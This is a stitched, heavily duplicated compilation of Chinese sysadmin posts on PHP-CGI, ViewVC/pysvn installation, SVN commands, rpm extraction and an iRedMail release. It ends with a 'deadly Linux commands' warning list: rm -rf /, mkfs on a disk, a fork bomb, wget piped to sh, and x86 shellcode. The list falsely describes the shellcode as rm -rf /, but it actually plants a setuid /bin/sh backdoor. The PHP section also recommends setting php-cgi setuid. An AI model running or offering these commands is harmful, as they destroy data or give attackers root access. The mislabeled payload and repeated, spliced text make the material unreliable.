PHP CGI 有3种形式:
I.最强悍的FPM, 功能最强大, 只要配置php-fpm.conf即可;
fpm主页: http://php-fpm.org/
II.使用 spawn-fcgi, 启动命令: env – PHP_FCGI_CHILDREN=3 PHP_FCGI_MAX_REQUESTS=1000 spawn-fcgi -a 127.0.0.1 -p 9000 -u www-data -g www-data -f php-cgi -P /var/run/spawn-fcgi.pid
使用时, 把www-data替换成自己的用户名和群组名;
参数含义如下:
-f <fcgiapp> 指定调用FastCGI的进程的执行程序位置,根据系统上所装的PHP的情况具体设置
-a <addr> 绑定到地址addr
-p <port> 绑定到端口port
-s <path> 绑定到unix socket的路径path
-C <childs> 指定产生的FastCGI的进程数,默认为5(仅用于PHP)
-P <path> 指定产生的进程的PID文件路径
-u和-g FastCGI使用什么身份(-u 用户 -g 用户组)运行,Ubuntu下可以使用www-data,其他的根据情况配置,如nobody、apache等
然后我们可以将这行代码加入到/etc/rc.local文件底部,这样系统启动的时候也可以同时启动PHP的FastCGI进程。
III.直接启动php-cgi, 使用命令: php-cgi -b 127.0.0.1:9000
不过这时php-cgi是使用当前用户身份, 执行session等相关操作会出错, 如果web用户(如ubuntu下的www-data)是可以登录的, 则使用命令: su www-data -l -c “php-cgi -b 127.0.0.1:9000″
如果www-data不能登录(bash位/bin/false), 那么直接修改用户权限,
sudo chown www-data:www-data which php-cgi
sudo chmod u+s which php-cgi
BTW: 近段时间看ZF手册,开头有这么一句: 对于只包含有 PHP 代码的文件,结束标志(”?>”)是不允许存在的,PHP自身不需要(”?>”), 这样做, 可以防止它的末尾的被意外地注入相应。 晕倒~~ 我这会儿才知道有这茬
来源:http://mifunny.info/run-php-as-cgi-339.html
I.最强悍的FPM, 功能最强大, 只要配置php-fpm.conf即可;
fpm主页: http://php-fpm.org/
II.使用 spawn-fcgi, 启动命令: env – PHP_FCGI_CHILDREN=3 PHP_FCGI_MAX_REQUESTS=1000 spawn-fcgi -a 127.0.0.1 -p 9000 -u www-data -g www-data -f php-cgi -P /var/run/spawn-fcgi.pid
使用时, 把www-data替换成自己的用户名和群组名;
参数含义如下:
-f <fcgiapp> 指定调用FastCGI的进程的执行程序位置,根据系统上所装的PHP的情况具体设置
-a <addr> 绑定到地址addr
-p <port> 绑定到端口port
-s <path> 绑定到unix socket的路径path
-C <childs> 指定产生的FastCGI的进程数,默认为5(仅用于PHP)
-P <path> 指定产生的进程的PID文件路径
-u和-g FastCGI使用什么身份(-u 用户 -g 用户组)运行,Ubuntu下可以使用www-data,其他的根据情况配置,如nobody、apache等
然后我们可以将这行代码加入到/etc/rc.local文件底部,这样系统启动的时候也可以同时启动PHP的FastCGI进程。
III.直接启动php-cgi, 使用命令: php-cgi -b 127.0.0.1:9000
不过这时php-cgi是使用当前用户身份, 执行session等相关操作会出错, 如果web用户(如ubuntu下的www-data)是可以登录的, 则使用命令: su www-data -l -c “php-cgi -b 127.0.0.1:9000″
如果www-data不能登录(bash位/bin/false), 那么直接修改用户权限,
sudo chown www-data:www-data which php-cgi
sudo chmod u+s which php-cgi
BTW: 近段时间看ZF手册,开头有这么一句: 对于只包含有 PHP 代码的文件,结束标志(”?>”)是不允许存在的,PHP自身不需要(”?>”), 这样做, 可以防止它的末尾的被意外地注入相应。 晕倒~~ 我这会儿才知道有这茬
来源:http://mifunny.info/run-php-as-cgi-339.html
以前用actionscript写动态绘制三角函数曲线,其实php输出三角函数曲线也很简单。如下:阅读全文
在将各种类型的数据构造成字符串时,sprintf 的强大功能很少会让你失望。由于sprintf 跟printf 在用法上几乎一样,只是打印的目的地不同而已,前者打印到字符串中,后者则直接在命令行上输出。这也导致sprintf 比printf 有用得多。 阅读全文
sprintf missing function-prototype :
sprintf函数使用---该函数必须包含include<stdio.h>
阅读全文
sprintf函数使用---该函数必须包含include<stdio.h>
mkdir -p /var/log/nginx/$(date -d "yesterday" +"%Y")/$(date -d "yesterday" +"%m")/
mv /var/log/nginx/access.log /var/log/nginx/$(date -d "yesterday" +"%Y")/$(date -d
"yesterday" +"%m")/access.$(date -d "yesterday" +"%Y%m%d").log
mv /var/log/nginx/access.log /var/log/nginx/$(date -d "yesterday" +"%Y")/$(date -d
"yesterday" +"%m")/access.$(date -d "yesterday" +"%Y%m%d").log
wget //viewvc.tigris.org/files/documents/3330/44050/viewvc-1.0.7.tar.gz
下载后解压SetUP:
bogon:~/svn_view/viewvc-1.0.7 # ./viewvc-install
This is the ViewVC 1.0.7 installer.
Installation path [/usr/local/viewvc-1.0.7]:确定
。
。
。
安装结束后的提示:
1) Edit the /usr/local/viewvc-1.0.7/viewvc.conf file.
2) Either configure an existing web server to run
/usr/local/viewvc-1.0.7/bin/cgi/viewvc.cgi.
Or, copy /usr/local/viewvc-1.0.7/bin/cgi/viewvc.cgi to an
already-configured cgi-bin directory.
Or, use the standalone server provided by this distribution at
/usr/local/viewvc-1.0.7/bin/standalone.py.
---------------------------------------------------------------------------------------------------------------------
开始配置:
打开viewvc.conf,修改下面几行:
---------------------------------------------------------------------------------------------------------------------
StartRun:
/svn_view/viewvc-1.0.7/bin
./standalone.py
---------------------------------------------------------------------------------------------------------------------
中文乱码解决:
./templates/classic/include/header.ezt:
./templates/classic/error.ezt:
./templates/classic/query.ezt:
./templates/default/include/header.ezt:
./templates/default/error.ezt:
./templates/default/query.ezt:
在head下面加上:
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
文献参考:
ViewVC独立运行的基本配置:
1. ViewVC最简单配置
打开viewvc.conf,修改下面几行:
将cvs_roots = cvs: /home/cvsroot注释掉;
#svn_roots = svn: /home/svnrepos 改成类似于 svn_roots = mytest: C:\svn_repos\mytest,其中mytest是你指定的仓库名,冒号后面跟的是仓库所在的路径;
default_root = cvs注释掉,这样你至少可以看到仓库列表。//去掉很重要的
2. 双击ViewVC\bin下的standalone.py,就可以启动ViewVC自带的Web服务,然后在IE中输入http://localhost:7467/viewvc就应该可以看到仓库列表了,到这一步为止,我没有碰到什么障碍,所以,没什么可以提示的了;
3. 点击任何一个仓库,就应该可以看到仓库中的目录或文件了,但是,如果你在IE中看到如下的提示:
ImportError: No module named svn 那说明你没有安装Subversion的Python包,或者将其放到了Subversion的目录下了;
'module' object has no attribute 'SubversionRepository' 那说明你将Subversion的Python包复制到了viewvc的vclib下,并且覆盖掉了viewvc自己的文件;那么,要怎样安装这个包呢,ok,将其复制到ViewVC或者Python的lib目录下吧,唉,当初整这个也费了我不少周折,惭愧,谁叫我是个Python盲呢:
http://pysvn.tigris.org/project_source_code.html
http://pysvn.barrys-emacs.org/source_kits/pysvn-1.7.6.tar.gz
安装方法参考模仿:http://www.jackxiang.com/post/3981/
最后问题及其解决:
('Error:', 'cannot find SVN include svn_client.h - use --svn-inc-dir')
make: *** 没有规则可以创建目标“clean”。 停止。
make: *** 无目标。 停止。
make: *** 没有规则可以创建目标“egg”。 停止。
error: Not a URL, existing file, or requirement spec: 'dist/pysvn-1.7.6-py2.6-linux-i686.egg'
解决办法:
yum install subversion-devel
cd Source
python setup.py configure
make clean
make
=================编译pysvn===============================
cd ../Tests
Test pysvn by running
make
Install pysvn by copying the following from Extension/Source to python site-specific directory.
mkdir python-libdir/site-packages/pysvn
cp pysvn/__init__.py python-libdir/site-packages/pysvn
cp pysvn/_pysvn*.so python-libdir/site-packages/pysvn
rpm -ql python-2.6.6-29.el6_2.2.i686
找到python路径:/usr/lib/python2.6/
cp -Rf /root/software/pysvn-1.7.6/Source/pysvn/_pysvn_2_6.so ./.
cp -Rf /root/software/pysvn-1.7.6/Source/pysvn/__init__.py ./.
========swig支持并绑定到subversion=====================================
绑定到subversion:
要安装viewCvs还需要python的支持,因此我们这里安装的python的2.4版本
./configure PYTHON=/usr/bin/python
make swig-py&&make install-swig_py
然后会生成 libsvn_swig_py.so 文件,使python和subversion绑定起来
=============================================
最近需要用到pysvn扩展包,但在cenos上用easy_install安装不了,说找不到该包,使用yum也不行,无奈只好到官网去下载,我下的是1.7.5的源码包,scp到centos后,执行一下操作:
tar zxvf pysvn-1.7.5.tar.gz
cd pysvn-1.7.5/Source
python setup.py configure
make
cp pysvn /usr/local/python2.7/
安装完成,在终端下使用ipython,输入import pysvn正常,到此该模块安装完成。
ps:源码安装需要你安装subversion-devel包,否则会提示找不到svn_client.h文件
------------------------------------------------------------------------------------------------------------------------------------------------------------
将viewvc和Apache集成standalone.py启动的viewvc服务不够稳定,在生产环境通产需要和web服务器集成。viewvc以CGI方式集成到Apache中相当简单。只需要用ScriptAlias指令将viewvc安装目录下的bin\cgi子目录映射到一个URL上去。示例:
ScriptAlias /codeview/ "E:/viewvc/bin/cgi/"
重启Apache,即可通过URL:http://localhost/codeview/viewcvs.cgi访问所配置的代码仓库
下载viewvc
$ wget http://www.viewvc.org/nightly/viewvc-1.1-dev-20070307.tar.gz
安装viewvc
$ ./viewvc-install
编辑viewvc配置文件 viewvc.conf
root_parents = /home/userhome/zztest/svn_dir : svn,
# /home/cvs-repositories : cvs
同时你还可以在 viewvc.conf 中找到一些可选配置,比如PHP语法高亮等。
在 Apache 的配置文件中加入viewvc配置,并加如HTTP验证功能
Alias /webview /usr/local/viewvc-dev/bin/cgi/
DirectoryIndex viewvc.cgi
AddHandler cgi-script .cgi
Options ExecCGI FollowSymLinks
AllowOverride None
AuthType Basic
AuthName “Subversion repository”
AuthUserFile /usr/local/viewvc-dev/viewpasswd.conf
Require valid-user
Order allow,deny
Allow from all
这时当你在WEB上查看viewvc时,可能会提示
viewvcImportError: No module named svn
这是因为 python 还需要一个和你工作的svn系统进行联系的库,在svn的原代码中可以进行编译并安装,前提是需要安装 swig 这个软件包,还好在大多数LINUX发行版中,这个软件包是默认安装的。你可以用
$ which swig
这样的命令来验证,如果没有安装上,可以安装一个。接下来你可能需要通过这样的方式,重新编译并安装svn软件包
$ ./configure --prefix=/usr/local --with-apxs=/usr/local/bin/apxs --with-berkeley-db=/usr/local PYTHON=/usr/local/bin/python2.5
$ make
$ sudo make install
$ make swig-py
$ make install-swig-py
现在你的viewvc就可以正常工作了。
五、安装viewCvs
下载http://viewvc.org源码包并解压
切换到解压目录
$./viewvc-install,第一个提示后指定ViewVC的安装目录,第二个提示直接回车就行
打开viewvc.conf,修改下面几行:
将cvs_roots = cvs: /home/cvsroot注释掉;
#svn_roots = svn: /home/svnrepos 改成仓库所在的路径;如果多个仓库加逗号隔开;
六、配置apache,在httpd.conf中添加下面两行
ScriptAlias /viewvc /usr/local/viewvc-1.0/www/cgi/viewvc.cgi
ScriptAlias /query /usr/local/viewvc-1.0/www/cgi/query.cgi
在最后添加如:
<Location /svn>
DAV svn
SVNParentPath /home/subversion 仓库目录
AuthzSVNAccessFile /home/subversion/svnuser 存取权限文件
AuthType Basic
AuthName "Subversion repository"
AuthUserFile /home/subversion/svnpasswd 用户验证文件
Require valid-user
</Location>
创建用户难文件:
#htpasswd -cm /home/subversion/svnpass username //来创建的 ,后面会让你输入用户密码
添加用户则 htpasswd -m /home/subversion/svnpass user
对于存取权限设置文件大致内容如下:
[/]
* = r
[groups]
diggmore = nio, binzy, easy, vicki, freeman, rainx
[diggmore:/]
@diggmore = rw
综上设置,启动apache就可以了,如果在提交文件到仓库时出现拒绝错误,请确定httpd.conf里设置的linux用户是否对仓库目录有权限
下载后解压SetUP:
bogon:~/svn_view/viewvc-1.0.7 # ./viewvc-install
This is the ViewVC 1.0.7 installer.
Installation path [/usr/local/viewvc-1.0.7]:确定
。
。
。
安装结束后的提示:
1) Edit the /usr/local/viewvc-1.0.7/viewvc.conf file.
2) Either configure an existing web server to run
/usr/local/viewvc-1.0.7/bin/cgi/viewvc.cgi.
Or, copy /usr/local/viewvc-1.0.7/bin/cgi/viewvc.cgi to an
already-configured cgi-bin directory.
Or, use the standalone server provided by this distribution at
/usr/local/viewvc-1.0.7/bin/standalone.py.
---------------------------------------------------------------------------------------------------------------------
开始配置:
打开viewvc.conf,修改下面几行:
#cvs_roots = cvs: /home/cvsroot
svn_roots = SOA_TAE_ALL: /opt/svn/repositories/SOA_TAE_ALL
svn_roots = SOA_TAE_ALL: /opt/svn/repositories/SOA_TAE_ALL
---------------------------------------------------------------------------------------------------------------------
StartRun:
/svn_view/viewvc-1.0.7/bin
./standalone.py
---------------------------------------------------------------------------------------------------------------------
中文乱码解决:
./templates/classic/include/header.ezt:
./templates/classic/error.ezt:
./templates/classic/query.ezt:
./templates/default/include/header.ezt:
./templates/default/error.ezt:
./templates/default/query.ezt:
在head下面加上:
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
文献参考:
ViewVC独立运行的基本配置:
1. ViewVC最简单配置
打开viewvc.conf,修改下面几行:
将cvs_roots = cvs: /home/cvsroot注释掉;
#svn_roots = svn: /home/svnrepos 改成类似于 svn_roots = mytest: C:\svn_repos\mytest,其中mytest是你指定的仓库名,冒号后面跟的是仓库所在的路径;
default_root = cvs注释掉,这样你至少可以看到仓库列表。//去掉很重要的
2. 双击ViewVC\bin下的standalone.py,就可以启动ViewVC自带的Web服务,然后在IE中输入http://localhost:7467/viewvc就应该可以看到仓库列表了,到这一步为止,我没有碰到什么障碍,所以,没什么可以提示的了;
3. 点击任何一个仓库,就应该可以看到仓库中的目录或文件了,但是,如果你在IE中看到如下的提示:
ImportError: No module named svn 那说明你没有安装Subversion的Python包,或者将其放到了Subversion的目录下了;
'module' object has no attribute 'SubversionRepository' 那说明你将Subversion的Python包复制到了viewvc的vclib下,并且覆盖掉了viewvc自己的文件;那么,要怎样安装这个包呢,ok,将其复制到ViewVC或者Python的lib目录下吧,唉,当初整这个也费了我不少周折,惭愧,谁叫我是个Python盲呢:
http://pysvn.tigris.org/project_source_code.html
http://pysvn.barrys-emacs.org/source_kits/pysvn-1.7.6.tar.gz
安装方法参考模仿:http://www.jackxiang.com/post/3981/
最后问题及其解决:
('Error:', 'cannot find SVN include svn_client.h - use --svn-inc-dir')
make: *** 没有规则可以创建目标“clean”。 停止。
make: *** 无目标。 停止。
make: *** 没有规则可以创建目标“egg”。 停止。
error: Not a URL, existing file, or requirement spec: 'dist/pysvn-1.7.6-py2.6-linux-i686.egg'
解决办法:
yum install subversion-devel
cd Source
python setup.py configure
make clean
make
=================编译pysvn===============================
cd ../Tests
Test pysvn by running
make
Install pysvn by copying the following from Extension/Source to python site-specific directory.
mkdir python-libdir/site-packages/pysvn
cp pysvn/__init__.py python-libdir/site-packages/pysvn
cp pysvn/_pysvn*.so python-libdir/site-packages/pysvn
rpm -ql python-2.6.6-29.el6_2.2.i686
找到python路径:/usr/lib/python2.6/
cp -Rf /root/software/pysvn-1.7.6/Source/pysvn/_pysvn_2_6.so ./.
cp -Rf /root/software/pysvn-1.7.6/Source/pysvn/__init__.py ./.
========swig支持并绑定到subversion=====================================
绑定到subversion:
要安装viewCvs还需要python的支持,因此我们这里安装的python的2.4版本
./configure PYTHON=/usr/bin/python
make swig-py&&make install-swig_py
然后会生成 libsvn_swig_py.so 文件,使python和subversion绑定起来
=============================================
最近需要用到pysvn扩展包,但在cenos上用easy_install安装不了,说找不到该包,使用yum也不行,无奈只好到官网去下载,我下的是1.7.5的源码包,scp到centos后,执行一下操作:
tar zxvf pysvn-1.7.5.tar.gz
cd pysvn-1.7.5/Source
python setup.py configure
make
cp pysvn /usr/local/python2.7/
安装完成,在终端下使用ipython,输入import pysvn正常,到此该模块安装完成。
ps:源码安装需要你安装subversion-devel包,否则会提示找不到svn_client.h文件
------------------------------------------------------------------------------------------------------------------------------------------------------------
将viewvc和Apache集成standalone.py启动的viewvc服务不够稳定,在生产环境通产需要和web服务器集成。viewvc以CGI方式集成到Apache中相当简单。只需要用ScriptAlias指令将viewvc安装目录下的bin\cgi子目录映射到一个URL上去。示例:
ScriptAlias /codeview/ "E:/viewvc/bin/cgi/"
重启Apache,即可通过URL:http://localhost/codeview/viewcvs.cgi访问所配置的代码仓库
下载viewvc
$ wget http://www.viewvc.org/nightly/viewvc-1.1-dev-20070307.tar.gz
安装viewvc
$ ./viewvc-install
编辑viewvc配置文件 viewvc.conf
root_parents = /home/userhome/zztest/svn_dir : svn,
# /home/cvs-repositories : cvs
同时你还可以在 viewvc.conf 中找到一些可选配置,比如PHP语法高亮等。
在 Apache 的配置文件中加入viewvc配置,并加如HTTP验证功能
Alias /webview /usr/local/viewvc-dev/bin/cgi/
DirectoryIndex viewvc.cgi
AddHandler cgi-script .cgi
Options ExecCGI FollowSymLinks
AllowOverride None
AuthType Basic
AuthName “Subversion repository”
AuthUserFile /usr/local/viewvc-dev/viewpasswd.conf
Require valid-user
Order allow,deny
Allow from all
这时当你在WEB上查看viewvc时,可能会提示
viewvcImportError: No module named svn
这是因为 python 还需要一个和你工作的svn系统进行联系的库,在svn的原代码中可以进行编译并安装,前提是需要安装 swig 这个软件包,还好在大多数LINUX发行版中,这个软件包是默认安装的。你可以用
$ which swig
这样的命令来验证,如果没有安装上,可以安装一个。接下来你可能需要通过这样的方式,重新编译并安装svn软件包
$ ./configure --prefix=/usr/local --with-apxs=/usr/local/bin/apxs --with-berkeley-db=/usr/local PYTHON=/usr/local/bin/python2.5
$ make
$ sudo make install
$ make swig-py
$ make install-swig-py
现在你的viewvc就可以正常工作了。
五、安装viewCvs
下载http://viewvc.org源码包并解压
切换到解压目录
$./viewvc-install,第一个提示后指定ViewVC的安装目录,第二个提示直接回车就行
打开viewvc.conf,修改下面几行:
将cvs_roots = cvs: /home/cvsroot注释掉;
#svn_roots = svn: /home/svnrepos 改成仓库所在的路径;如果多个仓库加逗号隔开;
六、配置apache,在httpd.conf中添加下面两行
ScriptAlias /viewvc /usr/local/viewvc-1.0/www/cgi/viewvc.cgi
ScriptAlias /query /usr/local/viewvc-1.0/www/cgi/query.cgi
在最后添加如:
<Location /svn>
DAV svn
SVNParentPath /home/subversion 仓库目录
AuthzSVNAccessFile /home/subversion/svnuser 存取权限文件
AuthType Basic
AuthName "Subversion repository"
AuthUserFile /home/subversion/svnpasswd 用户验证文件
Require valid-user
</Location>
创建用户难文件:
#htpasswd -cm /home/subversion/svnpass username //来创建的 ,后面会让你输入用户密码
添加用户则 htpasswd -m /home/subversion/svnpass user
对于存取权限设置文件大致内容如下:
[/]
* = r
[groups]
diggmore = nio, binzy, easy, vicki, freeman, rainx
[diggmore:/]
@diggmore = rw
综上设置,启动apache就可以了,如果在提交文件到仓库时出现拒绝错误,请确定httpd.conf里设置的linux用户是否对仓库目录有权限
0、查看帮助
命令: svn help
1、同步(checkout)服务器数据到本地
命令: svn checkout <url> [directory]
svn co <url> [directory]
例:把 https://svn.test.cn/book/network/ 目录同步到本地的 /usr/local/svn/book/network 目录
# cd /usr/local/svn/book
# svn checkout https://svn.test.cn/book/network/
...
(R)eject, accept (t)emporarily or accept (p)ermanently? t
...
Password for 'wandering': <回车> # wandering是我当前登录系统的帐号
Authentication realm: <https://svn.test.cn:443> book Subversion Repository
Username: jack
Password for 'jack': <password>
...
2、提交(commit)本地文档到服务器
命令: svn commit -m "" [directory|file]
svn ci -m "" [directory|file]
例:把 /usr/local/svn/book/network/tcpip.txt 提交到服务器,前提是服务器上已经有此文件。
# cd /usr/local/svn/book/network/
# svn commit -m "" # -m是记录的log信息,可以为空
一般情况下,只要在需要更新的数据文件所在的目录执行 svn ci -m "" 即可。
3、更新(update)服务器数据到本地
命令: svn update [directory|file]
svn up [directory|file]
例:把 https://svn.test.cn/book/network/ 目录中的内容更新到本地
# cd /usr/local/svn/book/network
# cd update
4、查看日志
命令: svn log [directory|file]
例:查看 /usr/local/svn/book/network 目录的修改日志
方法一:
# cd /usr/local/svn/book/network
# svn log
方法二:
# svn log /usr/local/svn/book/network
5、增加(add)本地数据到服务器
命令: svn add <directory|file>
开发人员常用命令
导入项目
svn import http://svn.chinasvn.com:82/pthread --message "Start project"
导出项目
svn checkout http://svn.chinasvn.com:82/pthread
采用 export 的方式来导出一份“干净”的项目
svn export http://svn.chinasvn.com:82/pthread pthread
为失败的事务清场
svn cleanup
在本地进行代码修改,检查修改状态
svn status -v
svn diff
更新(update)服务器数据到本地
svn update directory
svn update file
增加(add)本地数据到服务器
svn add file.c
svn add dir
对文件进行改名和删除
svn mv b.c bb.c
svn rm d.c
提交(commit)本地文档到服务器
svn commit
svn ci
svn ci -m "commit"
查看日志
svn log directory
svn log file
命令: svn help
1、同步(checkout)服务器数据到本地
命令: svn checkout <url> [directory]
svn co <url> [directory]
例:把 https://svn.test.cn/book/network/ 目录同步到本地的 /usr/local/svn/book/network 目录
# cd /usr/local/svn/book
# svn checkout https://svn.test.cn/book/network/
...
(R)eject, accept (t)emporarily or accept (p)ermanently? t
...
Password for 'wandering': <回车> # wandering是我当前登录系统的帐号
Authentication realm: <https://svn.test.cn:443> book Subversion Repository
Username: jack
Password for 'jack': <password>
...
2、提交(commit)本地文档到服务器
命令: svn commit -m "" [directory|file]
svn ci -m "" [directory|file]
例:把 /usr/local/svn/book/network/tcpip.txt 提交到服务器,前提是服务器上已经有此文件。
# cd /usr/local/svn/book/network/
# svn commit -m "" # -m是记录的log信息,可以为空
一般情况下,只要在需要更新的数据文件所在的目录执行 svn ci -m "" 即可。
3、更新(update)服务器数据到本地
命令: svn update [directory|file]
svn up [directory|file]
例:把 https://svn.test.cn/book/network/ 目录中的内容更新到本地
# cd /usr/local/svn/book/network
# cd update
4、查看日志
命令: svn log [directory|file]
例:查看 /usr/local/svn/book/network 目录的修改日志
方法一:
# cd /usr/local/svn/book/network
# svn log
方法二:
# svn log /usr/local/svn/book/network
5、增加(add)本地数据到服务器
命令: svn add <directory|file>
开发人员常用命令
导入项目
svn import http://svn.chinasvn.com:82/pthread --message "Start project"
导出项目
svn checkout http://svn.chinasvn.com:82/pthread
采用 export 的方式来导出一份“干净”的项目
svn export http://svn.chinasvn.com:82/pthread pthread
为失败的事务清场
svn cleanup
在本地进行代码修改,检查修改状态
svn status -v
svn diff
更新(update)服务器数据到本地
svn update directory
svn update file
增加(add)本地数据到服务器
svn add file.c
svn add dir
对文件进行改名和删除
svn mv b.c bb.c
svn rm d.c
提交(commit)本地文档到服务器
svn commit
svn ci
svn ci -m "commit"
查看日志
svn log directory
svn log file
[原创]SUSE的防火墙设置,界面方式配置示例
Unix/LinuxC技术 jackxiang 2010-6-14 13:14
Ubuntu Desktop默认情况下是关闭防火墙的。然而openSUSE用户就要费些心思来设置防火墙规则了。这里介绍如何在openSUSE的YAST2管理员工具中开启相应的端口:阅读全文
结合rpm,rpm2cpio,cpio提取rpm包的特定文件:
http://snailwarrior.blog.51cto.com/680306/145588
昨天不小心把/etc/mail/sendmail.mc修改坏了,又没有备份最原始的文件,于是想到重新从rpm包中提取出来。
首先,要确定/etc/mail/sendmail.mc属于哪个rpm包:
[root@pps tmp]# rpm -qf /etc/mail/sendmail.mc
sendmail-8.13.8-2.el5
然后从iso安装光碟中提取出sendmail-8.13.8-2.el5.i386.rpm(或者其它方式取得),确认一下sendmail.mc的路径:
[root@pps tmp]# rpm -qlp sendmail-8.13.8-2.el5.i386.rpm | grep sendmail.mc
warning: sendmail-8.13.8-2.el5.i386.rpm: Header V3 DSA signature: NOKEY, key ID 37017186
/etc/mail/sendmail.mc
在提取sendmail.mc之前,有必要确认一下它的相对路径:
[root@pps tmp]# rpm2cpio sendmail-8.13.8-2.el5.i386.rpm | cpio -t | grep sendmail.mc
2570 blocks
./etc/mail/sendmail.mc
好,现在可以放心提取sendmail.mc了:
[root@pps tmp]# rpm2cpio sendmail-8.13.8-2.el5.i386.rpm | cpio -idv ./etc/mail/sendmail.mc
./etc/mail/sendmail.mc
2570 blocks
【注意】cpio参数后的文件路径"./etc/mail/sendmail.mc"必须和前面查询的相对路径一样,否则提取不成功。
cpio参数说明:
-t 列出的意思,和"--list"等同,注意,此时列出的是“相对路径”
-i 抽取的意思,和"--extract"等同
-d 建立目录,和"--make-directories"等同
-v 冗余信息输出,和"--verbose"等同
rpm参数说明:
-q --query 查询
-l --list 列出
-f --file 指定文件
-p --package 指定rpm包
本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/StamHe/archive/2009/12/25/5072392.aspx
http://snailwarrior.blog.51cto.com/680306/145588
昨天不小心把/etc/mail/sendmail.mc修改坏了,又没有备份最原始的文件,于是想到重新从rpm包中提取出来。
首先,要确定/etc/mail/sendmail.mc属于哪个rpm包:
[root@pps tmp]# rpm -qf /etc/mail/sendmail.mc
sendmail-8.13.8-2.el5
然后从iso安装光碟中提取出sendmail-8.13.8-2.el5.i386.rpm(或者其它方式取得),确认一下sendmail.mc的路径:
[root@pps tmp]# rpm -qlp sendmail-8.13.8-2.el5.i386.rpm | grep sendmail.mc
warning: sendmail-8.13.8-2.el5.i386.rpm: Header V3 DSA signature: NOKEY, key ID 37017186
/etc/mail/sendmail.mc
在提取sendmail.mc之前,有必要确认一下它的相对路径:
[root@pps tmp]# rpm2cpio sendmail-8.13.8-2.el5.i386.rpm | cpio -t | grep sendmail.mc
2570 blocks
./etc/mail/sendmail.mc
好,现在可以放心提取sendmail.mc了:
[root@pps tmp]# rpm2cpio sendmail-8.13.8-2.el5.i386.rpm | cpio -idv ./etc/mail/sendmail.mc
./etc/mail/sendmail.mc
2570 blocks
【注意】cpio参数后的文件路径"./etc/mail/sendmail.mc"必须和前面查询的相对路径一样,否则提取不成功。
cpio参数说明:
-t 列出的意思,和"--list"等同,注意,此时列出的是“相对路径”
-i 抽取的意思,和"--extract"等同
-d 建立目录,和"--make-directories"等同
-v 冗余信息输出,和"--verbose"等同
rpm参数说明:
-q --query 查询
-l --list 列出
-f --file 指定文件
-p --package 指定rpm包
本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/StamHe/archive/2009/12/25/5072392.aspx
开源邮件服务解决方案 iRedMail 项目组发布了 0.6.0-beta1 新版本。
以下是自 0.5.1 稳定版发布之后的主要更改:
•支持 FreeBSD 7.x 和 8.0,包括 i386 & x86_64/amd64 架构。这里是安装文档。
•MySQL 方案现在支持 domain alias。可以通过新版本的 PostfixAdmin-2.3 进行管理。
•软件更新。
◦Dovecot -> 1.1.20
◦PostfixAdmin -> 2.3。支持 domain alias 管理。
◦phpMyAdmin -> 2.11.9.6
◦Roundcube webmail -> 0.3.1。用户定制邮件过滤规则和修改密码的插件都已经包含在内,且是 roundcube 官方提供的。
◦ClamAV -> 0.95.3
下载地址:http://code.google.com/p/iredmail/downloads/list
技术支持论坛: http://www.iredmail.org/bbs/
注意:这是一个测试版,不建议在生产环境中使用。
来源:http://linuxtoy.org/archives/iredmail-060-beta1.html
以下是自 0.5.1 稳定版发布之后的主要更改:
•支持 FreeBSD 7.x 和 8.0,包括 i386 & x86_64/amd64 架构。这里是安装文档。
•MySQL 方案现在支持 domain alias。可以通过新版本的 PostfixAdmin-2.3 进行管理。
•软件更新。
◦Dovecot -> 1.1.20
◦PostfixAdmin -> 2.3。支持 domain alias 管理。
◦phpMyAdmin -> 2.11.9.6
◦Roundcube webmail -> 0.3.1。用户定制邮件过滤规则和修改密码的插件都已经包含在内,且是 roundcube 官方提供的。
◦ClamAV -> 0.95.3
下载地址:http://code.google.com/p/iredmail/downloads/list
技术支持论坛: http://www.iredmail.org/bbs/
注意:这是一个测试版,不建议在生产环境中使用。
来源:http://linuxtoy.org/archives/iredmail-060-beta1.html
如果你是一个 Linux 新手,在好奇心的驱使下,可能会去尝试从各个渠道获得的命令。以下是 7 个致命的 Linux 命令,轻则使你的数据造成丢失,重则使你的系统造成瘫痪,所以,你应当竭力避免在系统中运行它们。
1.rm -rf / 此命令将递归并强制删除 / 目录下的所有文件。
2.char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
这是 rm -rf / 的 hex(十六进制)版本,很能迷惑 Linux 用户。
3.mkfs.ext3 /dev/sda 这将对硬盘进行重新格式化,自然,硬盘上的所有数据将灰飞烟灭。
4.:(){ :|:& };: 著名的 fork 炸弹,此命令将告诉你的系统执行海量的进程,直到你的系统僵死。
5.any_command > /dev/sda 使用该命令,原始数据将被写到块设备,其结果是造成数据丢失。
6.wget http://some_untrusted_source -O- | sh 不要从不信任的地方下载东西,这可能会获取恶意代码。
7.mv /home/yourhomedirectory/* /dev/null 此命令将移动主目录中的所有文件到一个不存在的地方,你将再也看不到那些文件。
如果你认为还有其他致命的 Linux 命令,那么请在留言中告诉我们。
来源:http://linuxtoy.org/archives/the-7-deadly-linux-commands.html
1.rm -rf / 此命令将递归并强制删除 / 目录下的所有文件。
2.char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
